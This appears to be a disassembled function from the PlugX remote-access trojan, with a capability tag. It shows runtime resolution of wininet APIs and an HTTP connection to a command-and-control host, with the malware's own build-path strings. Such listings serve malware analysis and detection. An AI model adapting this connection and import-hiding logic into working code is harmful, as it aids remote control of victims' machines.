Function at 0x10020830
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
xor esi, esi
lea eax, [ebp - 0x1c]
push eax
mov edi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
call fcn.10021680
test eax, eax
je 0x10020869
push esi
mov edx, 0x1ed
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x1002089e
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1002088d
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310b4], eax
push 0
push 0
push 0x5f
push 0
call eax
test eax, eax
jne 0x100208bf
push eax
mov edx, 0x1f2
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
test eax, eax
jne 0x100208ee
mov eax, dword [0x100310b0]
test eax, eax
jne 0x100208dd
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310b4], eax
push 0
push 0
push 0x27
push 0
call eax
test eax, eax
jne 0x1002090f
push eax
mov edx, 0x1f7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310b4]
test eax, eax
jne 0x1002093e
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1002092d
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetSetOptionA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310b4], eax
push 0
push 0
push 0x25
push 0
call eax
test eax, eax
jne 0x1002095f
push eax
mov edx, 0x1fc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310ac]
test eax, eax
jne 0x1002098e
mov eax, dword [0x100310b0]
test eax, eax
jne 0x1002097d
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetOpenA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310ac], eax
push 0
push 0
push 0
push 0
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x100209bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x10020b0f
push esi
mov edx, 0x201
jmp 0x10020b02
movzx eax, word [edi + 0x5a]
mov ecx, dword [0x10031100]
mov dword [ebp - 8], eax
test ecx, ecx
jne 0x100209fa
mov eax, dword [0x100310b0]
test eax, eax
jne 0x100209e3
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetConnectA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 8]
mov dword [0x10031100], ecx
push 0
push 0x84400100
push 3
push 0
push 0
push eax
lea eax, [edi + 0x5c]
push eax
push dword [ebp - 0xc]
call ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x10020a33
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x10020ac4
push esi
mov edx, 0x206
jmp 0x10020ab7
push 0
push dword [edi + 0x54]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10020a79
mov ebx, dword [ebp - 8]
push ebx
push dword [ebp + 8]
mov ecx, edi
call fcn.10020b30
mov esi, eax
test esi, esi
jne 0x10020a73
cmp dword [edi + 0x174], 4
je 0x10020a73
push eax
push dword [edi + 0x54]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10020a48
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x100310a0]
test eax, eax
jne 0x10020aa8
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020a97
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetCloseHandle
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310a0], eax
push dword [ebp - 8]
call eax
test eax, eax
jne 0x10020ac4
push eax
mov edx, 0x21d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x100310a0]
test eax, eax
jne 0x10020af3
mov eax, dword [0x100310b0]
test eax, eax
jne 0x10020ae2
push str.wininet
call ebx
mov dword [0x100310b0], eax
push str.InternetCloseHandle
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100310a0], eax
push dword [ebp - 0xc]
call eax
test eax, eax
jne 0x10020b0f
push eax
mov edx, 0x225
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSoTcpHttp.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10020b21
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4